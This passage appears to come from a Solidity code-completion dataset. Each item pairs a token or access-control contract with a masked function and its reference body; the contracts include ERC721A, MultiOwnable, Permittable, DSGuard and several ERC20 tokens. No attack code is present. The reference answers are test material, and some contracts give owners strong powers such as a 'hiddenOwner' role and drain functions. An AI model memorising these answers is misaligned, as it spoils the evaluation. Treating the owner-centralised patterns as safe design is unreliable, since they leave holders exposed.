TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity);
function _safeMint( address to, uint256 quantity, bytes memory _data ) internal
/** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal
81439
Initializable
isConstructor
contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) {<FILL_FUNCTION_BODY> } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }
contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } <FILL_FUNCTION> // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }
// extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0;
function isConstructor() private view returns (bool)
/// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool)
11615
MultiOwnable
addOwner
contract MultiOwnable { address public hiddenOwner; address public superOwner; address public tokenExchanger; address[10] public chkOwnerList; mapping (address => bool) public owners; event AddOwner(address indexed newOwner); event DeleteOwner(address indexed toDeleteOwner); event SetTex(address indexed newTex); event ChangeSuperOwner(address indexed newSuperOwner); event ChangeHiddenOwner(address indexed newHiddenOwner); constructor() public { hiddenOwner = msg.sender; superOwner = msg.sender; owners[superOwner] = true; chkOwnerList[0] = msg.sender; tokenExchanger = msg.sender; } modifier onlySuperOwner() { require(superOwner == msg.sender); _; } modifier onlyHiddenOwner() { require(hiddenOwner == msg.sender); _; } modifier onlyOwner() { require(owners[msg.sender]); _; } function changeSuperOwnership(address newSuperOwner) public onlyHiddenOwner returns(bool) { require(newSuperOwner != address(0)); superOwner = newSuperOwner; emit ChangeSuperOwner(superOwner); return true; } function changeHiddenOwnership(address newHiddenOwner) public onlyHiddenOwner returns(bool) { require(newHiddenOwner != address(0)); hiddenOwner = newHiddenOwner; emit ChangeHiddenOwner(hiddenOwner); return true; } function addOwner(address owner, uint8 num) public onlySuperOwner returns (bool) {<FILL_FUNCTION_BODY> } function setTEx(address tex) public onlySuperOwner returns (bool) { require(tex != address(0)); tokenExchanger = tex; emit SetTex(tex); return true; } function deleteOwner(address owner, uint8 num) public onlySuperOwner returns (bool) { require(chkOwnerList[num] == owner); require(owner != address(0)); owners[owner] = false; chkOwnerList[num] = address(0); emit DeleteOwner(owner); return true; } }
contract MultiOwnable { address public hiddenOwner; address public superOwner; address public tokenExchanger; address[10] public chkOwnerList; mapping (address => bool) public owners; event AddOwner(address indexed newOwner); event DeleteOwner(address indexed toDeleteOwner); event SetTex(address indexed newTex); event ChangeSuperOwner(address indexed newSuperOwner); event ChangeHiddenOwner(address indexed newHiddenOwner); constructor() public { hiddenOwner = msg.sender; superOwner = msg.sender; owners[superOwner] = true; chkOwnerList[0] = msg.sender; tokenExchanger = msg.sender; } modifier onlySuperOwner() { require(superOwner == msg.sender); _; } modifier onlyHiddenOwner() { require(hiddenOwner == msg.sender); _; } modifier onlyOwner() { require(owners[msg.sender]); _; } function changeSuperOwnership(address newSuperOwner) public onlyHiddenOwner returns(bool) { require(newSuperOwner != address(0)); superOwner = newSuperOwner; emit ChangeSuperOwner(superOwner); return true; } function changeHiddenOwnership(address newHiddenOwner) public onlyHiddenOwner returns(bool) { require(newHiddenOwner != address(0)); hiddenOwner = newHiddenOwner; emit ChangeHiddenOwner(hiddenOwner); return true; } <FILL_FUNCTION> function setTEx(address tex) public onlySuperOwner returns (bool) { require(tex != address(0)); tokenExchanger = tex; emit SetTex(tex); return true; } function deleteOwner(address owner, uint8 num) public onlySuperOwner returns (bool) { require(chkOwnerList[num] == owner); require(owner != address(0)); owners[owner] = false; chkOwnerList[num] = address(0); emit DeleteOwner(owner); return true; } }
require(num < 10); require(owner != address(0)); require(chkOwnerList[num] == address(0)); owners[owner] = true; chkOwnerList[num] = owner; emit AddOwner(owner); return true;
function addOwner(address owner, uint8 num) public onlySuperOwner returns (bool)
function addOwner(address owner, uint8 num) public onlySuperOwner returns (bool)
5491
TokenLockable
withdrawTokens
contract TokenLockable is RpSafeMath, Ownable { mapping(address => uint256) public lockedTokens; /** @dev Locked tokens cannot be withdrawn using the withdrawTokens function. */ function lockTokens(address token, uint256 amount) internal { lockedTokens[token] = safeAdd(lockedTokens[token], amount); } /** @dev Unlocks previusly locked tokens. */ function unlockTokens(address token, uint256 amount) internal { lockedTokens[token] = safeSubtract(lockedTokens[token], amount); } /** @dev Withdraws tokens from the contract. @param token Token to withdraw @param to Destination of the tokens @param amount Amount to withdraw */ function withdrawTokens(Token token, address to, uint256 amount) public onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } }
contract TokenLockable is RpSafeMath, Ownable { mapping(address => uint256) public lockedTokens; /** @dev Locked tokens cannot be withdrawn using the withdrawTokens function. */ function lockTokens(address token, uint256 amount) internal { lockedTokens[token] = safeAdd(lockedTokens[token], amount); } /** @dev Unlocks previusly locked tokens. */ function unlockTokens(address token, uint256 amount) internal { lockedTokens[token] = safeSubtract(lockedTokens[token], amount); } <FILL_FUNCTION> }
require(safeSubtract(token.balanceOf(this), lockedTokens[token]) >= amount); require(to != address(0)); return token.transfer(to, amount);
function withdrawTokens(Token token, address to, uint256 amount) public onlyOwner returns (bool)
/** @dev Withdraws tokens from the contract. @param token Token to withdraw @param to Destination of the tokens @param amount Amount to withdraw */ function withdrawTokens(Token token, address to, uint256 amount) public onlyOwner returns (bool)
73406
Permittable
_permit
contract Permittable { /* ============ Variables ============ */ bytes32 public DOMAIN_SEPARATOR; mapping (address => uint256) public nonces; /* ============ Constants ============ */ // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /* solium-disable-next-line */ bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /* ============ Constructor ============ */ constructor( string memory name, string memory version ) public { DOMAIN_SEPARATOR = _initDomainSeparator(name, version); } /** * @dev Initializes EIP712 DOMAIN_SEPARATOR based on the current contract and chain ID. */ function _initDomainSeparator( string memory name, string memory version ) internal view returns (bytes32) { uint256 chainID; /* solium-disable-next-line */ assembly { chainID := chainid() } return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes(version)), chainID, address(this) ) ); } /** * @dev Approve by signature. * * Adapted from Uniswap's UniswapV2ERC20 and MakerDAO's Dai contracts: * https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol * https://github.com/makerdao/dss/blob/master/src/dai.sol */ function _permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal {<FILL_FUNCTION_BODY> } }
contract Permittable { /* ============ Variables ============ */ bytes32 public DOMAIN_SEPARATOR; mapping (address => uint256) public nonces; /* ============ Constants ============ */ // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /* solium-disable-next-line */ bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /* ============ Constructor ============ */ constructor( string memory name, string memory version ) public { DOMAIN_SEPARATOR = _initDomainSeparator(name, version); } /** * @dev Initializes EIP712 DOMAIN_SEPARATOR based on the current contract and chain ID. */ function _initDomainSeparator( string memory name, string memory version ) internal view returns (bytes32) { uint256 chainID; /* solium-disable-next-line */ assembly { chainID := chainid() } return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes(version)), chainID, address(this) ) ); } <FILL_FUNCTION> }
require( deadline == 0 || deadline >= block.timestamp, "Permittable: Permit expired" ); require( spender != address(0), "Permittable: spender cannot be 0x0" ); require( value > 0, "Permittable: approval value must be greater than 0" ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) )); address recoveredAddress = ecrecover( digest, v, r, s ); require( recoveredAddress != address(0) && owner == recoveredAddress, "Permittable: Signature invalid" );
function _permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal
/** * @dev Approve by signature. * * Adapted from Uniswap's UniswapV2ERC20 and MakerDAO's Dai contracts: * https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol * https://github.com/makerdao/dss/blob/master/src/dai.sol */ function _permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal
24103
Spark
freezing
contract Spark is MintingERC20 { ICO public ico; SparkDividends public dividends; bool public transferFrozen = true; function Spark( string _tokenName, uint8 _decimals, string _symbol, uint256 _maxSupply, bool _locked ) public MintingERC20(0, _maxSupply, _tokenName, _decimals, _symbol, false, _locked) { standard = "Spark 0.1"; } function setICO(address _ico) public onlyOwner { require(_ico != address(0)); ico = ICO(_ico); } function setSparkDividends(address _dividends) public onlyOwner { require(address(0) != _dividends); dividends = SparkDividends(_dividends); } function setLocked(bool _locked) public onlyOwner { locked = _locked; } // prevent manual minting tokens when ICO is active; function mint(address _addr, uint256 _amount) public onlyMinters returns (uint256) { uint256 mintedAmount; if (msg.sender == owner) { require(address(ico) != address(0)); if (!ico.isActive() && block.timestamp >= ico.startTime()) { mintedAmount = super.mint(_addr, _amount); } } else { mintedAmount = super.mint(_addr, _amount); } if (mintedAmount == _amount) { require(address(dividends) != address(0)); dividends.logAccount(_addr, _amount); } return mintedAmount; } // Allow token transfer. function freezing(bool _transferFrozen) public onlyOwner {<FILL_FUNCTION_BODY> } // ERC20 functions // ========================= function transfer(address _to, uint _value) public returns (bool) { require(!transferFrozen); bool status = super.transfer(_to, _value); if (status) { require(address(dividends) != address(0)); dividends.logAccount(msg.sender, 0); dividends.logAccount(_to, 0); } return status; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(!transferFrozen); bool status = super.transferFrom(_from, _to, _value); if (status) { require(address(dividends) != address(0)); dividends.logAccount(_from, 0); dividends.logAccount(_to, 0); } return status; } }
contract Spark is MintingERC20 { ICO public ico; SparkDividends public dividends; bool public transferFrozen = true; function Spark( string _tokenName, uint8 _decimals, string _symbol, uint256 _maxSupply, bool _locked ) public MintingERC20(0, _maxSupply, _tokenName, _decimals, _symbol, false, _locked) { standard = "Spark 0.1"; } function setICO(address _ico) public onlyOwner { require(_ico != address(0)); ico = ICO(_ico); } function setSparkDividends(address _dividends) public onlyOwner { require(address(0) != _dividends); dividends = SparkDividends(_dividends); } function setLocked(bool _locked) public onlyOwner { locked = _locked; } // prevent manual minting tokens when ICO is active; function mint(address _addr, uint256 _amount) public onlyMinters returns (uint256) { uint256 mintedAmount; if (msg.sender == owner) { require(address(ico) != address(0)); if (!ico.isActive() && block.timestamp >= ico.startTime()) { mintedAmount = super.mint(_addr, _amount); } } else { mintedAmount = super.mint(_addr, _amount); } if (mintedAmount == _amount) { require(address(dividends) != address(0)); dividends.logAccount(_addr, _amount); } return mintedAmount; } <FILL_FUNCTION> // ERC20 functions // ========================= function transfer(address _to, uint _value) public returns (bool) { require(!transferFrozen); bool status = super.transfer(_to, _value); if (status) { require(address(dividends) != address(0)); dividends.logAccount(msg.sender, 0); dividends.logAccount(_to, 0); } return status; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(!transferFrozen); bool status = super.transferFrom(_from, _to, _value); if (status) { require(address(dividends) != address(0)); dividends.logAccount(_from, 0); dividends.logAccount(_to, 0); } return status; } }
if (address(ico) != address(0) && !ico.isActive() && block.timestamp >= ico.startTime()) { transferFrozen = _transferFrozen; }
function freezing(bool _transferFrozen) public onlyOwner
// Allow token transfer. function freezing(bool _transferFrozen) public onlyOwner
49974
DSGuard
forbid
contract DSGuard is DSAuth, DSAuthority, DSGuardEvents { bytes32 constant public ANY = bytes32(uint(-1)); mapping (bytes32 => mapping (bytes32 => mapping (bytes32 => bool))) acl; function canCall( address src_, address dst_, bytes4 sig ) public view returns (bool) { var src = bytes32(src_); var dst = bytes32(dst_); return acl[src][dst][sig] || acl[src][dst][ANY] || acl[src][ANY][sig] || acl[src][ANY][ANY] || acl[ANY][dst][sig] || acl[ANY][dst][ANY] || acl[ANY][ANY][sig] || acl[ANY][ANY][ANY]; } function permit(bytes32 src, bytes32 dst, bytes32 sig) public auth { acl[src][dst][sig] = true; LogPermit(src, dst, sig); } function forbid(bytes32 src, bytes32 dst, bytes32 sig) public auth {<FILL_FUNCTION_BODY> } function permit(address src, address dst, bytes32 sig) public { permit(bytes32(src), bytes32(dst), sig); } function forbid(address src, address dst, bytes32 sig) public { forbid(bytes32(src), bytes32(dst), sig); } }
contract DSGuard is DSAuth, DSAuthority, DSGuardEvents { bytes32 constant public ANY = bytes32(uint(-1)); mapping (bytes32 => mapping (bytes32 => mapping (bytes32 => bool))) acl; function canCall( address src_, address dst_, bytes4 sig ) public view returns (bool) { var src = bytes32(src_); var dst = bytes32(dst_); return acl[src][dst][sig] || acl[src][dst][ANY] || acl[src][ANY][sig] || acl[src][ANY][ANY] || acl[ANY][dst][sig] || acl[ANY][dst][ANY] || acl[ANY][ANY][sig] || acl[ANY][ANY][ANY]; } function permit(bytes32 src, bytes32 dst, bytes32 sig) public auth { acl[src][dst][sig] = true; LogPermit(src, dst, sig); } <FILL_FUNCTION> function permit(address src, address dst, bytes32 sig) public { permit(bytes32(src), bytes32(dst), sig); } function forbid(address src, address dst, bytes32 sig) public { forbid(bytes32(src), bytes32(dst), sig); } }
acl[src][dst][sig] = false; LogForbid(src, dst, sig);
function forbid(bytes32 src, bytes32 dst, bytes32 sig) public auth
function forbid(bytes32 src, bytes32 dst, bytes32 sig) public auth
27689
Marcelo
transferFrom
contract Marcelo is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Marcelo() public { symbol = "MRL"; name = "Marcelo"; decimals = 18; _totalSupply = 250000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract Marcelo is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Marcelo() public { symbol = "MRL"; name = "Marcelo"; decimals = 18; _totalSupply = 250000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
12786
IOGToken
canTransferIfLocked
contract IOGToken is StandardToken, Ownable, Pausable { // events event Burn(address indexed burner, uint256 amount); event AddressLocked(address indexed _owner, uint256 _expiry); // erc20 constants string public constant name = "IOGToken"; string public constant symbol = "IOG"; uint8 public constant decimals = 18; uint256 public constant TOTAL_SUPPLY = 2200000000 * (10 ** uint256(decimals)); // lock mapping (address => uint256) public addressLocks; // constructor constructor(address[] addressList, uint256[] tokenAmountList, uint256[] lockedPeriodList) public { totalSupply_ = TOTAL_SUPPLY; balances[msg.sender] = TOTAL_SUPPLY; emit Transfer(0x0, msg.sender, TOTAL_SUPPLY); // distribution distribution(addressList, tokenAmountList, lockedPeriodList); } // distribution function distribution(address[] addressList, uint256[] tokenAmountList, uint256[] lockedPeriodList) onlyOwner internal { // Token allocation // - foundation: 25% (16% locked) // - platform ecosystem: 35% (30% locked) // - early investor: 15% (12.5% locked) // - private sale: 10% // - board of advisor: 10% // - bounty: 5% for (uint i = 0; i < addressList.length; i++) { uint256 lockedPeriod = lockedPeriodList[i]; // lock if (0 < lockedPeriod) { timeLock(addressList[i], tokenAmountList[i] * (10 ** uint256(decimals)), now + (lockedPeriod * 60 * 60 * 24)); } // unlock else { transfer(addressList[i], tokenAmountList[i] * (10 ** uint256(decimals))); } } } // lock modifier canTransfer(address _sender) { require(_sender != address(0)); require(canTransferIfLocked(_sender)); _; } function canTransferIfLocked(address _sender) internal view returns(bool) {<FILL_FUNCTION_BODY> } function timeLock(address _to, uint256 _value, uint256 releaseDate) onlyOwner public { addressLocks[_to] = releaseDate; transfer(_to, _value); emit AddressLocked(_to, _value); } // erc20 methods function transfer(address _to, uint256 _value) canTransfer(msg.sender) whenNotPaused public returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from) whenNotPaused public returns (bool success) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) whenNotPaused public returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) whenNotPaused public returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } // burn function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } // token drain function emergencyERC20Drain(ERC20 token, uint256 amount) external onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer(owner, amount); } }
contract IOGToken is StandardToken, Ownable, Pausable { // events event Burn(address indexed burner, uint256 amount); event AddressLocked(address indexed _owner, uint256 _expiry); // erc20 constants string public constant name = "IOGToken"; string public constant symbol = "IOG"; uint8 public constant decimals = 18; uint256 public constant TOTAL_SUPPLY = 2200000000 * (10 ** uint256(decimals)); // lock mapping (address => uint256) public addressLocks; // constructor constructor(address[] addressList, uint256[] tokenAmountList, uint256[] lockedPeriodList) public { totalSupply_ = TOTAL_SUPPLY; balances[msg.sender] = TOTAL_SUPPLY; emit Transfer(0x0, msg.sender, TOTAL_SUPPLY); // distribution distribution(addressList, tokenAmountList, lockedPeriodList); } // distribution function distribution(address[] addressList, uint256[] tokenAmountList, uint256[] lockedPeriodList) onlyOwner internal { // Token allocation // - foundation: 25% (16% locked) // - platform ecosystem: 35% (30% locked) // - early investor: 15% (12.5% locked) // - private sale: 10% // - board of advisor: 10% // - bounty: 5% for (uint i = 0; i < addressList.length; i++) { uint256 lockedPeriod = lockedPeriodList[i]; // lock if (0 < lockedPeriod) { timeLock(addressList[i], tokenAmountList[i] * (10 ** uint256(decimals)), now + (lockedPeriod * 60 * 60 * 24)); } // unlock else { transfer(addressList[i], tokenAmountList[i] * (10 ** uint256(decimals))); } } } // lock modifier canTransfer(address _sender) { require(_sender != address(0)); require(canTransferIfLocked(_sender)); _; } <FILL_FUNCTION> function timeLock(address _to, uint256 _value, uint256 releaseDate) onlyOwner public { addressLocks[_to] = releaseDate; transfer(_to, _value); emit AddressLocked(_to, _value); } // erc20 methods function transfer(address _to, uint256 _value) canTransfer(msg.sender) whenNotPaused public returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from) whenNotPaused public returns (bool success) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) whenNotPaused public returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) whenNotPaused public returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } // burn function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } // token drain function emergencyERC20Drain(ERC20 token, uint256 amount) external onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer(owner, amount); } }
if (0 == addressLocks[_sender]) return true; return (now >= addressLocks[_sender]);
function canTransferIfLocked(address _sender) internal view returns(bool)
function canTransferIfLocked(address _sender) internal view returns(bool)
33107
ETC
ETC
contract ETC is StandardToken, Ownable { // Constants string public constant name = "EthCoin"; string public constant symbol = "ETC"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals)); uint public amountRaised; uint256 public buyPrice = 50000; bool public crowdsaleClosed; function ETC() public {<FILL_FUNCTION_BODY> } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient Transfer(_from, _to, _value); } function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public { crowdsaleClosed = closebuy; buyPrice = newBuyPrice; } function () external payable { require(!crowdsaleClosed); uint amount = msg.value ; // calculates the amount amountRaised = amountRaised.add(amount); _transfer(owner, msg.sender, amount.mul(buyPrice)); } //取回eth, 参数设为0 则全部取回, 否则取回指定数量的eth function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); return true; } }
